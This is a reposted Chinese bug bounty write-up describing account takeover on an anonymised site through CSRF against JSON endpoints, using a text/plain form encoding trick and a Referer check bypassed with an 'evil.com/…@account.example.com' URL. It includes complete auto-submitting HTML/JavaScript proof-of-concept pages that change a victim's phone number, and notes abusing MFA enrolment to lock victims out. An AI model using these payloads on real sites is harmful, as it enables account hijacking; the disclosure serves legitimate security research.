漏洞挖掘 | 通过域混淆绕过实现账户接管

news2024/11/26 14:23:15

由于这是一个私有项目,我将使用 example.com 来代替。

很长一段时间以来,我一直想在漏洞赏金项目中找到一个账户接管(ATO)漏洞。于是,我开始探索项目范围内的 account.example.com

我做的第一件事就是注册一个新账号并登录到主应用程序。接着,我像往常一样,开始点击能找到的每个按钮,同时使用 Burp Suite 记录所有的流量。

请求分析

在查看 HTTP 历史记录后,我们发现以下几点:

1.所有请求都调用了一个 .json 端点,例如 account.example.com/login.json

2.请求以 JSON 格式发送。

3.任何请求中都没有 CSRF 头部。

在这一点上,我认为该应用程序不会受到 CSRF 攻击的影响,因为请求以 JSON 格式发送,而且由于同源策略[1],你无法设置 Content-Type 头部。因此,我开始寻找应用程序中的其他漏洞。三十分钟后,我决定尝试利用这个 CSRF 漏洞。

利用准备

我们能够利用这个漏洞的唯一方法是服务器没有检查 Content-Type 头部,并且强制其为 "application/json"。因此,让我们检查一下应用程序是否验证了这个头部...

我们将测试更改电话号码的功能,因为如果我们能够更改受害者的电话号码,就可以实现账户接管(ATO)。

图片

电话号码更改成功了。最后一次检查,然后我们就可以行动了……

再检查一下……应用程序是否要求 JSON 请求体有特定的格式,还是我们可以添加一些无关的参数并让它继续正常工作?

我们可以通过添加一个随机参数和值来检查,比如 "a":"test"

图片

让我们开始吧,现在我们可以构建我们的攻击方案了。

攻击方案

我们来创建一个简单的概念验证(POC)。我们会将 enctype="text/plain" 设置为表单的编码类型,并将 JSON 请求体包含在隐藏的输入字段中。为什么我们在攻击中需要添加额外的参数?因为如果你尝试像这样发送请求...

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"_formName":"change-phone","phone":"01111111118"}'> </form> <script> document.forms[0].submit(); </script> </body></html>

这将生成如下的 JSON 请求体:

图片

这是因为提交表单时,每个输入都需要有一个 name=value 格式的键值对,而我们想要发送的 JSON 并不符合这种格式。为了解决这个问题,我们可以将 name 属性设置为我们希望发送的 JSON 体内容,并添加一个随机参数来处理后续的 = 符号作为它的值,最后将 value 属性设置为 },以确保请求体的结构符合预期。这样可以生成符合要求的请求体,从而绕过 CSRF 保护机制。

<input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'>

这样做之后,我们将得到正确格式化的 JSON 请求体。:

图片

img

到目前为止,我们的漏洞利用步骤如下:​​​

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> document.forms[0].submit(); </script> </body></html>

由于整个应用程序的工作方式都相同,这使得它变得容易受到 CSRF 攻击!

现在是时候领取我们的赏金了。

不过,在此之前,何不先尝试一下?

图片

img

进一步调查

那么,发生了什么?我们的请求体看起来很好,所有的事情都正常。那为什么它没有成功呢?

让我们比较一下我们的两个请求,一个是通过我们的利用发送的,另一个是通过 Burp Suite 的 Repeater 发送的。

由于它们的主体是相同的,这对我们来说不是问题。Cookie 也成功发送,所以这与 SameSite 标志无关。让我们逐一检查我们的请求头:

Origin?没有问题。

Content-Type?没有问题。

Referrer?是的……

它需要有应用程序域才能正常工作。幸运的是,它是 Referrer 头,所以我们仍然有希望。

如果我们能操纵它,使其接受我们自己的服务器,我们就可以在上面托管利用代码,使用 JavaScript 中的 history.pushState 函数设置头信息,仍然可以利用这个漏洞。

所以我们需要的是域混淆——让服务器认为它是自己的域,但实际上并不是。

我们的测试:

•evilaccount.example.com → 失败

•evil.com/account.example.com → 失败

•account.exampleevil.com → 失败

•account.exampleevil.com → 失败

•account.example.com@evil.com[2] → 失败

•evil.com#account.example.com → 失败

应用程序没有验证头中域的出现,但如果我们尝试像 test@example.com 这样的格式,它会成功,而这在正常范围内。

图片

所以该域名是有效的。但是,如果它只检查 @ 符号后面的内容呢?我们可以尝试这样的格式: https://evil.com/test@example.com

让我们在我们的 Repeater 中试一下。

图片

我们最终的EXP如下:

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> history.pushState("", "", "/anything@account.example.com") document.forms[0].submit(); </script> </body></html>

由于这是整个应用程序的缓解机制,现在整个应用程序都容易受到 CSRF 攻击!

我们能够做到:

•更改帐户手机号码 → 帐户接管(ATO)

•更改帐户用户名

•更改真实姓名

•将帐户连接/断开与平台的连接

•创建/删除/编辑具有完全权限的 API 密钥

•另外两个功能

一个有趣的方面是,通过使用身份验证器应用程序激活 MFA,我们只需发送一个包含攻击者 MFA 密钥 和 一次性密码(OTP) 的请求。这将使受害者的帐户启用 MFA,从而使他们无法再次登录。

结论与经验教训

通过这个方法,我们成功利用域名混淆绕过了 CSRF。我的收获是,由于错误地假设使用 application/json 内容类型的应用程序不会受到 CSRF 的影响,我差点错过了这个漏洞。我们需要尝试所有可能的方法,绝不要仅仅相信开发者的假设。

“更改手机号码”的报告被标记为关键(9.0–10.0),因为它会导致帐户接管(ATO)。

漏洞赏金:4000 $

图片

无 偿 获 取 网 安 资 料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2228262.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

加密软件有什么功能?

加密软件是一种专门用于保护数据安全的工具&#xff0c;它通过复杂的加密算法来确保数据在传输和存储过程中的机密性和完整性。以下是加密软件通常具备的主要功能&#xff1a; 一、数据加密 文件加密&#xff1a;能够对单个文件或整个文件夹进行加密&#xff0c;确保只有授权…

Python bs4 结合 Scrapy,进行数据爬取和处理

Python bs4 结合 Scrapy&#xff0c;进行数据爬取和处理 在现代数据分析和机器学习领域&#xff0c;数据爬取是获取网页数据的常用方法。Python 提供了许多工具来进行网页爬取&#xff0c;其中 Scrapy 和 BeautifulSoup&#xff08;bs4&#xff09;是最常用的两个库。Scrapy 是…

【p2p、分布式,区块链笔记 Torrent】webtorrent.min.js的实现之appendTo()函数

官方给出的示例通过appendTo函数渲染文件对象&#xff0c;通过torrent.files的元素对象调用&#xff1a; const WebTorrent require(webtorrent)const client new WebTorrent()// Sintel, a free, Creative Commons movie const torrentId magnet:?xturn:btih:08ada5a7a61…

ALIGN_ Tuning Multi-mode Token-level Prompt Alignment across Modalities

文章汇总 当前的问题 目前的工作集中于单模提示发现&#xff0c;即一种模态只有一个提示&#xff0c;这可能不足以代表一个类[17]。这个问题在多模态提示学习中更为严重&#xff0c;因为视觉和文本概念及其对齐都需要推断。此外&#xff0c;仅用全局特征来表示图像和标记是不…

MySQL数据集成至金蝶云星空的解决方案

MySQL数据集成至金蝶云星空的解决方案 SYB生产用料清单新增-深圳天一-半成品-好&#xff1a;MySQL数据集成到金蝶云星空的技术实现 在企业信息化系统中&#xff0c;数据的高效流转和准确对接是确保业务顺畅运行的关键。本文将聚焦于一个具体案例——如何将MySQL中的生产用料清…

javaweb----VS code

前端开发神器&#xff1a;VS Code → 速度快、体积小、插件多 VS Code 安装官网&#xff1a;https://code.visualstudio.com/download VS Code一些必备的插件安装&#xff1a; 1、Chinese (Simplified) 简体中文 2、Code Spell Checker 检查拼写 3、HTML CSS Support 4…

【新闻转载】“假冒 LockBit”来袭:勒索软件借助 AWS S3 偷窃数据,威胁升级

关键要点 Trend团队发现了一些利用 Amazon S3&#xff08;简单存储服务&#xff09;传输加速功能的 Golang 勒索软件样本&#xff0c;用于窃取受害者的文件并上传至攻击者控制的 S3 存储桶。 这些样本中硬编码的 Amazon Web Services (AWS) 凭证被用于追踪与恶意活动关联的 AW…

第十五章 Vue工程化开发及Vue CLI脚手架

目录 一、引言 二、Vue CLI 基本介绍 三、安装Vue CLI 3.1. 安装npm和yarn 3.2. 安装Vue CLI 3.3. 查看 Vue 版本 四、创建启动工程 4.1. 创建项目架子 4.2. 启动工程 五、脚手架目录文件介绍 六、核心文件讲解 6.1. index.html 6.2. main.js 6.3. App.vue 一、…

BEV:针孔相机坐标转换

一 、背景 自动驾驶中经常涉及到不同坐标系之间的坐标转换&#xff0c;在BEV方案中用的比较多的是自车坐标到图像坐标的转换&#xff0c;系统整理了一下坐标转换过程流程。 二 、方法 旋转矩阵计算方法&#xff1a; translation: 平移参数[‘x’, ‘y’, ‘z’] 高阶畸变模型…

开关灯问题(c语言)

样例&#xff1a;10 10 &#xff0c;输出&#xff1a;1&#xff0c;4&#xff0c;9 5 5 &#xff0c;输出&#xff1a;1&#xff0c;4 代码如下 #include<stdio.h> //引入bool值的概念 #include<stdbool.h> int main() {int n 0;//n为灯的数量int m 0;…

centos虚拟机部署opengauss数据库

一、基本信息 1、虚拟机安装的centos版本 2、opengauss版本 地址&#xff1a;https://opengauss.org/zh/download/ 3、opengauss和gaussdb的区别 高斯数据库&#xff08;GaussDB&#xff09;是云数据库&#xff0c;需要购买。 openGaussDB是开源数据库&#xff0c;可以免费…

搜索TV 1.2.4 | 适用于TV端的浏览器应用,设计简洁,功能强大

Klonsdif搜索TV版是一款专为TV端设计的浏览器应用&#xff0c;界面简洁&#xff0c;操作简单&#xff0c;保留最纯粹的浏览体验。支持使用百度、必应、360、搜狗、秘塔AI搜索、360AI搜索、bilibili等内置搜索引擎&#xff0c;也可以直接输入网址访问。全免费、无广告&#xff0…

Spring Boot 实现文件上传下载功能

文章目录 一、原理分析1.1 请求类型1.2 服务器解析 二、功能实现2.1 创建项目并导入依赖2.2 文件上传功能实现2.2.1 文件上传 Service2.2.2 文件上传 Controller 2.3 文件下载功能实现2.3.1 文件下载 Service2.3.2 文件下载 Controller 2.4 文件上传前端代码(可选)2.4.1 上传文…

注册信息合理性验证

表单是网页中的一个重要功能,主要用于用户信息的收集。使用JavaScript进行表单验证对于提升用户体验、减轻服务器负担、确保数据准确性、增强安全性和提高开发效率等方面都具有重要意义。本文详细敍述进行合理化验化必要性和具体实现方法。 一 表单项合理性必要性 主要体现在…

4款专业音频在线剪辑工具帮你开启创意之路。

音频在线剪辑工具能够为我们提供很大的便利&#xff0c;对于不管是专业的音乐制作人还是音频创作爱好者来说&#xff0c;都能借助一些音频编辑工具来充分发挥自己的创意。所以这一次&#xff0c;我要给大家介绍几个专业方便的音频剪辑工具。 1、福昕音频在线 直达链接&#x…

pdf页面提取全攻略,试试这几个简单方法,提升工作效率(收藏篇)

怎么提取pdf页面&#xff1f;在日常的办公生活中&#xff0c;我们经常需要使用到pdf文件&#xff0c;因此我们经常需要对PDF文档进行一些页面处理&#xff0c;比如提取PDF文件中的其中一个页面。那要怎么提取pdf文件中的其中一页呢&#xff1f;其实很简单&#xff0c;下面分享几…

【计算机网络】单播帧和广播帧在一个局域网内部的传播过程

我们引入这样的一个模型。 路由器可以连接多个网络&#xff0c;在路由器的这一端&#xff0c;我们用交换机集线器连接了很多节点。 这些节点共同组成了一个局域网。 而路由器的另外两个端口又分别连接了其他的网络。MAC地址这个概念是数据链路层才拥有的东西&#xff0c;物理…

翻译新体验:四款在线翻译工具让你沟通更顺畅!

如果你还拿着手里的外文文件干瞪眼&#xff1f;别担心&#xff0c;今天&#xff0c;我要给大家介绍几款超给力的在线翻译工具&#xff0c;它们就像是你的语言小助手&#xff0c;随时待命&#xff0c;帮你搞定那些让人头疼的翻译问题&#xff01; 福昕在线翻译 直达链接&#…

不用求人,4个方法快速恢复小米手机删除短信

手机短信作为我们日常办理事情的重要验收通道&#xff0c;往往承载着许多重要的信息。然而&#xff0c;由于各种原因&#xff0c;我们可能会不小心删除了重要的短信。那么&#xff0c;小米手机用户如何恢复这些被删除的短信呢&#xff1f;接下来&#xff0c;我们将分点为您详细…

macOS 15 Sequoia dmg格式转用于虚拟机的iso格式教程

想要把dmg格式转成iso格式&#xff0c;然后能在虚拟机上用&#xff0c;最起码新版的macOS镜像是不能用UltraISO&#xff0c;dmg2iso这种软件了&#xff0c;你直接转放到VMware里绝对读不出来&#xff0c;办法就是&#xff0c;在Mac系统中转换为cdr&#xff0c;然后再转成iso&am…